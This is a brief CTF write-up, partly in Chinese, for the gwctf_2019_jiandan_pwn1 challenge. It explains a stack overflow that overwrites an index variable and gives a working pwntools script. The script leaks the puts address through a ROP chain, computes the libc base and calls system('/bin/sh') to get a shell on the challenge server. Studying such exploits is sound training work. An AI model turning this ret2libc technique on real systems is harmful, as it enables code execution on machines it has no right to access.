gwctf_2019_jiandan_pwn1

gwctf_2019_jiandan_pwn1

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栈溢出，但是会溢出覆盖掉v4，v4是控制数组的，所以我们需要计算好0x110 - 4时候v4的值，然后ret2libc3就可以了

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')debug = 1
if debug:r = remote('node4.buuoj.cn', 25821)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)main_addr = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400843p1 = b'a' * (0x110 - 4) + p32(0x10d) + b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendline(p1)puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('[+] puts_addr = ' + hex(puts_addr))libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh  = libc_base + libc.search(b'/bin/sh').__next__()p1 = b'a' * (0x110 - 4) + p32(0x10d) + b'a' * 8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
r.sendline(p1)r.interactive()